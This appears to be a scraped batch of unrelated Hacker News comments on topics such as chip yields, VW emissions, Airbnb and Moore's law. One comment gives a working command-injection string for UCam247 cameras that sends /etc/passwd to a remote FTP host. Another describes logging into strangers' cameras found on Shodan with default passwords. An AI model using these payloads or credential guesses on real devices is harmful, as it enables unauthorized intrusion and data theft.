skysight-inc/HackerNews huggingface dataset:
His video contrasting TempleOS with Linux is really interesting. It's unfortunate that many of the people who watched it didn't understand the points he was trying to make or just couldn't get past his inflammatory language. TempleOS seems to address many of the deficiencies of Linux for desktop usage.
The author is actually from Switzerland, see http://blog.salathe.com/europes-technological-irrelevance-ti...
Those would be fake non-conformists, then, if they are conditioned and go with the flow.

(And no, this is not a "no true scotchman" fallacy. This is going with an a priori definition of non-conformism -- in fact, the standard dictionary/common language one--, and judging whether people fit that criterion or not, whereas the "no true scotchman" fallacy is based on changing the criteria).

Besides, even buying "pre-packaged lifestyle goods" could still qualify you as a non-conformist, if you buy it from small providers that not many people use.

Being a non-conformist is not about creating your lifestyle totally yourself (that you be the extreme version), it's about not going with the majoirity lifestyle choices (whether they are considered typically "conformist" (like a Hugo Boss suite) or "non-conformist" (like some hipster beard or a tatoo).

Going with the flow only makes sense for a large flow -- not some small niche of a current that's alien to 99% of the population.
Several browsers I tried do not allow connecting due to "sec_error_path_len_constraint_invalid"
Thanks for using the word "awesome" in combination with my graphics! Nice to hear :-)
I did these graphics with (Adobe) Illustrator. Usually I make a rough sketch first, scan it, import it into Illustrator and start to rebuild it as a vector graphic.
Nice to see this, and thanks for open-sourcing it. We (by which I mostly mean Dan Barowy (http://people.cs.umass.edu/~dbarowy/) burned a considerable amount of time and energy on parsing Excel formulas for our CheckCell project (http://checkcell.org), but yours looks more general (for example, CheckCell doesn't care about precedence, so we didn't implement that).
The UCam247 cameras are vulnerable to a similar attack, you can use a closing quote in the "HTTP Alarm/Periodic Sending" URL field and since this isn't escaped (and is run at the shell), you can use a URL like this:

http://127.0.0.1" |sh -c "curl -u user:pass --upload-file /etc/passwd ftp://myserver.com//tmp/ 2>&1

Which gets you this:

/etc/passwd – root:$1$rnjbbPTD$tR9oAIWgUp/jRrhjDuUwp0:0:0:root:/root:/bin/sh

I haven't been able to crack the password though yet so I'm guessing it's somewhat secure. The good news is that you can only enable telnet via the config file backup/restore system (and it's disabled by default):

[telnetd]
ENABLE=disable
PORT=60628

The other neat thing about the UCam247 cameras is that they also run the GoAhead Embedded Web Server (which has some fun vulnerabilities, http://www.cvedetails.com/vulnerability-list/vendor_id-1641/...). My favourite thing to do with this webserver is to append a backslash to the end of a URL, e.g. http://192.168.1.2/en/main.asp%5C - the webserver will simply return back the source code for the page instead of interpreting it.
Yes. But obviously, at a university, most professors are selected for their research. Which does not, unless they research teaching, necessarily mean they are good at teaching.
Gates funded Terrapower inks deal with China’s CNNC to build fast reactor
Having discrepancies in 11 million vehicles doesn't mean being fined for 11 million vehicles
Used to be that traceroute 216.81.59.173 gave you a recreation of the Star Wars opening crawl in host names... I guess these configurations don't last forever, though.
Here's one scenario. A family, with two kids, lives in a single family house in a neighborhood zoned for single families. A house on the block goes on the market.

Several families, with children around the same as the neighbors, tour and bid on the property. However, an enterprising person (who doesn't need the bedrooms for kids) uses the anticipated income from airbnb rentals (not to mention the absence of childcare costs) to outbid all those families. The SFR zoned house, on a SFR zoned block, is now a hotel, for all practical purposes. Guess the kids will have to find neighborhood friends somewhere else.

The visitors are quiet, polite. So, no harm no foul?

I understand that this scenario can occur in the absence of airbnb or even short term rentals(plenty of people rent out rooms in their houses), but there's an order of magnitude difference here. Also, I still see more benefit to this if these are permanent, long term rentals. They may be students who need a place to live, long term residents who need a place to live. I also think that unregulated and unresticted[1] airbnb makes this scenario much more likely (which is one reason why the company is so profitable, it has made it much easier to rent out "spare" bedrooms, creating a new market).

[1] properly regulated airbnb, which allows someone to rent out their house while they are on vacation, now and then, would not cause any of this harm.
> First, it only affects diesel engines.

According to VW, it affects 11 million cars with type EA 189 engines: "In its new statement, VW gave more details, admitting that "discrepancies" related to vehicles with Type EA 189 engines and involved some 11 million vehicles worldwide." (http://www.nbcnews.com/business/autos/volkswagen-11-million-...).

>It has been a few years now that we (as customers) have to deal with the common industry practice of advertising unrealistic fuel consumption statistics, so I'd say to some extent more car-makers are similarly boned here.

No, that would be fraud. Care to cite examples of such "common industry practice"?

> Third, Volkswagen is a group

That won't make them less open to litigation.

> Fourth, it is common that such investigations go on for years without end.

Yes, investigation and litigation will take years, but effects will be felt suddenly, such as VW cars not being able to get re-registered and driven on roads since they don't comply with emission standards, causing economic hardship and potentially larger lawsuits against VW. I think juries will be rather sympathetic to a few testimonies to that effect.
Die size influences yield which immensely impacts how much money you make. So you make things as small as feasible. Smaller die means more chips per wafer and smaller die means less chance of some contamination causing a particular die to be defective.
Note that the protein is not patentable, but using it in a process is what's under the patent discussion.

As mentioned elsewhere in the thread, this process is also available for free for academic use, but costs money if a company makes a product that's sold for money.

Penicillin was not patentable, but a process for making and harvesting it easily was. Whether that's a good thing or not is certainly up for debate, although some interesting facts and opinions are documented in this article about penicillin: https://www.awesomestories.com/asset/view/Alexander-Fleming-...
> What's going on, how is this new?

What does "having to be new" have to do with anything? It's a cool trick.
Searched for 'parallel' and 'core' on the page - no matches found.
But the rate of orbital decay of pulsars in binary systems is very precisely matched by general relativity, which is going to be very hard to explain with a different cause.

Given that GR has been verified so thoroughly, while on the other hand models of the gravitational background depend on so many assumptions and simulations and approximately measured empirical relationships about supermassive black hole (SMBH) sizes, occurrences, time for SMBH mergers, etc, as detailed in the article, clearly this is incredibly weak evidence that gravitational waves don't exist. But something is wrong somewhere.
`telnet towel.blinkenlights.nl`
What if the headline read: "we rewrote bad.horse to be webscale using Go"
"As the Internet becomes just an extension of the real world"

Newsflash: the internet is part of the real world, and always has been. Those people on the other side of the screen? They're real people.
By "that number" I meant the percentage of users who're using the latest version of Android. Lollipop's numbers will eventually get higher, but by that time there'll be 2 or 3 newer versions of Android.
Also the latency between first hop of the story and last hop of the story tells about the system having very limited capacity. In case of the faking Script, delay difference between hops would be 0 ms. Now the numbers directly tell that there's plenty of latency and packet handling is taking a long time. -> Guaranteed to have a poor throughput & load characteristics.
50 Shades of Go: Traps, Gotchas, and Common Mistakes for New Golang Devs
Well, that too, but no, this was a traceroute hack, not a telnet service.
They're correct. Engine capacity limits and intake restrictors were abolished in 2014 and replaced with a fuel flow limit. This more closely aligns the LMP1 rules with the goal of developing commercially relevant fuel efficiency technology.

Engine capacity limits do apply to other classes, and to privateer teams in LMP1 who opt not to use a hybrid system.
Let's look at what you said again:

"Among his faults the man uses a lot of racist slurs. I won't and don't excuse that. I don't care how eccentric, imbalanced or in need of better psychiatric care and drugs he is. I wish to point out that his behavior is totally and utterly unacceptable."

- "Among his faults..."

His "fault" is a mental disorder. You have a very 17th century approach to that.

- "I won't and don't excuse that."

Fine, that's your choice. But when you choose to attack someone over their mental state, you become the insensitive, intolerant jerk in the room. Again, you have a choice whether to attack someone over their mental state; your victim didn't choose to be disabled.

- "I don't care how eccentric, imbalanced or in need of better psychiatric care and drugs he is."

I think you make it abundantly clear that you don't care. Again, that's your choice, but it shows exactly what kind of person you are. Would you also not care if it's a loved one who is afflicted with a disorder? Based on what you've said so far, I have to wonder.

- "I wish to point out that his behavior is totally and utterly unacceptable."

Behavior that, again, is out of his control. You are blaming a patient for being sick. That is reprehensible. Yes, he needs help, but what you are doing is the opposite of help, especially since you know for a fact he reads this forum (and in fact I think that is your true motivation for attacking him here).
google fiber and nashville has been lyft friendly
The smaller your transistors get, the more errors you get per square inch of silicon wafer so in order to make ends meet as the manufacturing gets more and more expensive, you have to do a lot of tricks.

Tiny errors that are within a single processor can usually be fixed by disabling some cores or features and downgrading the SKU (i7 sold as i5). However, big errors are extremely costly and a few can wipe out the yield and profitability on a wafer.

If you have, for example, two 1x1 in processors on a wafer and a scratch stretching two adjacent corners of those processors, you lose both processors. If the scratch is diagonal and at the boundary between three or four processors, you would lose them all. If, however, those 1x1in units are split into .5x.5in ones, even your worst errors are unlikely to destroy the entire 2 sq in surface.

The difference in size isn't as drastic as in my example, but there are many other factors that impact yield and chip size is one of the most impactful ones (everything else being equal)
Oak Ridge National Laboratory Unveils SOM-Designed 3D-Printed Building, AMIE
Tesla opens European factory for Model S
If you can only do 3-4 reps you need to go to the level below that one. You also need to build forearm strength, which you can do with a dumbbell and forearm curls. Your goal is endurance, so many reps at a lower weight. Bicep curls wouldn't be a bad idea, either.
Julia's Arraypocalypse Release
Huh? Moore's Law is about transistor density, not clockspeed. It absolutely hasn't paused over the past decade. See here: http://education.mrsec.wisc.edu/SlideShow/images/computer/Mo...

Processors have also gotten significantly more capable over the past decade, and if you don't believe me, go use an Athlon 64 X2 for a bit (the cream of the crop from 2005) and see how that compares to today's processors. Poorly.
Saying the GDR's surveillance program was defeated has the causality wrong. The state was dissolved entirely amidst the Fall of Communism. With unification, the main SIGINT, HUMINT and foreign surveillance agency is now the BND.

Unless your proposal is to topple nation states.
I don't think the author of this article knows about them, or they didn't fit into the narrative.
A person who isn't concerned with confirming isn't s noon-conformist, someone who is actively concerned with not conforming is.

You can be a non-conformist and have mainstream interests, but just as a conformist will neglect non-mainstream interests for the sake of conformity, a non-conformist will do the reverse.

Now people will get labeled by others as conformist or non-conformist based on outward signs, and this will often be overly inclusive since someone who is neutral to conformity cannot, in some cases, easily be distinguished outwardly from a conformist, if their interests are mainstream, or a non-conformist, if they are not.
ATHENS+ESCORT+KISSA+-+Golden+Diamond+Escort
Surya Ganguli: The statistical physics of deep learning
Why they should really need your password?. They can ask the telephone company for a saved copy of your incoming and outcoming calls in the last year so they have already (or can trace) the 90% of the interesting data in your phone.

This seems also protect the policy from the temptation of doing stupid things that could lead to future lawsuits against them (like leaking photos of you drunken in a party, of from your girlfriend naked brushing her teeth and so...)
Just a blogspam headline with a random out-of-context quote from Ceglowski's talk, which was extensively discussed here:

https://news.ycombinator.com/item?id=10263183
Introduction to EC2 Container Service
Interestingly, I briefly worked for a company with a presence both in Silicon Valley and in Charleston, SC. The developers were (with a few exceptions) located in Charleston with marketing and customer facing roles out west. The location of engineering was pretty transparently a cost move, but having the office in the Bay area still put them as a Silicon Valley operation. What I wonder is, what's the job market like for the customer facing roles out there?
How two L.A. startups are racing to develop Hyperloop tech
Too bad I didn't have this year ago, it would have saved me some work with http://excel2flow.asp2.cz/
Previously: https://news.ycombinator.com/item?id=10283164
CydeWeys is correct. To quote a previous post of mine:

----------------------

The fastest CPU in 2005 was (I think) the mighty AMD Athlon 64 FX-57, which PassMark rates at: 731.

Meanwhile, in 2015, we have the Intel Core i7-5930K which scores: 13,638.

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I really have no idea where this crazy idea that 2005 was the pinnacle of consumer CPU power comes from...
"Originallity is something for us people who believe that finding the "real you" etc is worth it to worry about."

Worth worrying about? Nothing is worth worrying about.

I think we both agree that it's good to have an open mind, but we disagree on the importance of originality. I don't care if an idea is mine or yours or anyone else's, I don't care if it's the first time anyone has thought about it or whether it has been thought of a million times before, the only question for me is is the idea satisfying, is it an idea I enjoy.

There's a difference between a compelling idea and the source of that idea. If I've come up with compelling ideas before I don't see that as 'me' or part of me. Genius can come from anywhere and from anyone, it's not a measure of your worth as a human being. The best you can do to encourage it is to be open to it, to prepare yourself for ideas that are new to you.
> lot's of energy and materials used during production

regular cars also cost energy to produce. so unless there is a huge discrepancy it still means a relative reduction in emissions when compared to gas-guzzling ones

> electricity mostly produced by coal and nuclear power plants

that is a separate problem which is also supposed to get tackled over time. just because B hasn't been completely solved yet doesn't mean we can't start working on A which will depend on B to realize its full potential.

Not to mention that autonomous vehicles might very well become a third prong attacking the problem by making electric, autonomous fleets not owned by individuals a possible scenario.

Since cars wouldn't have to be individually-owned this might also drive down the overall fleet size and thus reduce the overall energy invested in vehicle production.
And in other news, for some reason, .horse is a top-level domain.
Good thing IP v4 aren't a sparse resource...
Pushing the Boundaries of Touch Control
And here's a representative comparison if you want to see actual benchmarks that measure real work that processors can perform:

1. THEN: AMD Athlon 64 X2 3800+ http://www.cpubenchmark.net/cpu.php?cpu=AMD+Athlon+64+X2+Dua...

2. NOW: Intel Core i7-5820K http://www.cpubenchmark.net/cpu.php?cpu=Intel+Core+i7-5820K+...

Note that the modern one is 13 times faster, and came out about nine years later. Sounds like Moore's Law is alive and well to me.
.horse? wow icann really just wants the $$$

http://icannwiki.com/.horse

Remember when someone tried to make a new namespace in the 90s when icann resisted all new tlds for years?

was it opennic?

https://en.wikipedia.org/wiki/Alternative_DNS_root#OpenNIC

I wish they had taken off and modern browsers supported them by default so icann would lose all monopoly.
I signup with bugmenot:bugmenot whenever I can to explicitly allow that.
I remember having switchable permissions since 4.3. Did something change in the meantime?
> COLLEGE students tell me they know how to look someone in the eye and type on their phones at the same time, their split attention undetected. They say it’s a skill they mastered in middle school when they wanted to text in class without getting caught.

In my experience, they haven't mastered that nearly as well as they think...
On the contrary, this article omits mentioning most of the limits we're running into, probably because the reporter couldn't understand them. Dennard scaling ended almost a decade ago because of leakage. You can still put more transistors on a chip, but the benefit of doing so is going away: it allows you to put more hardware in there, but you can't afford to run it all the time because it overheats (the "dark silicon" problem), so instead of giving you a parallel speedup, you're limited to providing a wider range of alternative hardware resources. Reversible computing was an attempt to solve the power-dissipation problem, but it doesn't help with leakage currents, and it's also essentially unachievable as a practical reduction in dissipation with current technology.

(I think it's a little strange to call light with a wavelength of under 10nm "ultraviolet". It's 40 times more energetic than the single octave we call visible light; that's five or six octaves away. I think it's usually called "X-rays".)

True 3D chip design is older than 2D chip design. Bardeen and Brattain's transistor was a 3D chip. That's why it was impractical for 12 years until the planar fabrication process in 1959. Planar fabrication is not only technically important, but also necessary for our current approaches to cooling, which is getting gradually more crucial.

I agree that we're not even close to the ultimate limits of computation. If your lambda is 10 nm and your wires are 20 nm across, that's still on the order of 200 atoms across, and it's been demonstrated that you could just use one: that's almost 16 Moore doublings, or 32 years. And certainly when we figure out how to do reversible computation and molecular nanotechnology, we can reach that limit. But CMOS and X-ray lithography aren't on a path to do that.

CMOS had a great run, totally dominating electronics from about 1982 to about 2017, pushing every alternative process to the margins with its low cost and the miracle of Dennard scaling: ECL, Josephson junctions, CCDs, DNA computing, vacuum tubes, core, chalcogenide glasses. But now that's over.

But don't forget that electronics started in 1904. Vacuum tubes, planar bipolar transistors, planar bipolar ICs, and planar CMOS ICs have each had their time in the sun. Whatever comes next will be something totally different, maybe as different as vacuum tubes are from planar transistors, and there's no reason to expect Intel or TSMC to be the one to pioneer it, just as Polaroid, Kodak, and Nikon weren't the companies that pioneered semiconductor imaging sensors or flash memory.

I'd be surprised if it happened in the US or Europe. Israel, China, Korea, or Japan, possibly.
Search on shodan.io for

>GoAhead 5ccc069c403ebaf9f0171e9517f40e41

yields 132,000 devices.

Testing about 100 hosts with admin:123456 gave me 3 working cams. Not all found devices are cams though. Some allow login with admin:admin and are routers.

I love this stuff.
So much vitriol in here for something I immediately thought: "damn, that'd be handy." So often we have a potential student email us, and our reply disappears into a spam folder because it came from Zendesk or Postmark, or because their own words (echoed back) trigger it. And when we finally reach those people, people who actually and legitimately want to talk to us, they're thankful that we tried to find them, and asked us to change their email entry in our database to a more reliable one. Then there are those who get angrier and angrier at our failure to respond, while our responses are piling up in a spam folder somewhere. Well THAT's a great start to what is typically a years-long relationship. Or those who just take their business elsewhere.

Incidentally, ours is a B2B market, remember that when judging how we - and others - roll. Also: we check RBLs and test deliverability frequently, use SPF/DKIM allowing the providers we use to deliver mail on behalf of our domain, and we have DMARC configured so we can better monitor deliverability issues.

I'd use this to show a brief warning on our "contact us" form: "we've found that using an email provider such as example.com may result in our reply getting filed away as spam, and we recommend using your real work address to be sure you see our reply without having to dig through all the spam on your personal email account. You don't have to change it, but we wanted to warn you in advance."
All good advice. I was intentionally making a correctness/terseness tradeoff. :)

> ...and arguments be expanded correctly with "$@"

That assumes that your bash is contained within a script, yes? It doesn't work for commands entered directly in a shell?

> ...unless you're using a really ancient version of bash, you shouldn't use backticks for command substitution.

I was -stupidly- unaware that backticks would nest. I always use $() when I want to nest command substitutions.

> "find ." and "find ./" are identical.

Oh, I know. I have the largely unjustifiable habit of always putting a path in a find invocation, as well as always spelling "the current directory" as ./

> > find | xargs

> Of course, this is always a nice option that bypasses the need for bash.

Don't forget -print0 and -0 if you expect to have to handle arguments that contain spaces! ;)
Maybe it's not far enough south to be considered Real(TM), but I think you conspicuously omitted Raleigh (the overall Triangle area that includes Durham & Chapel Hill, too).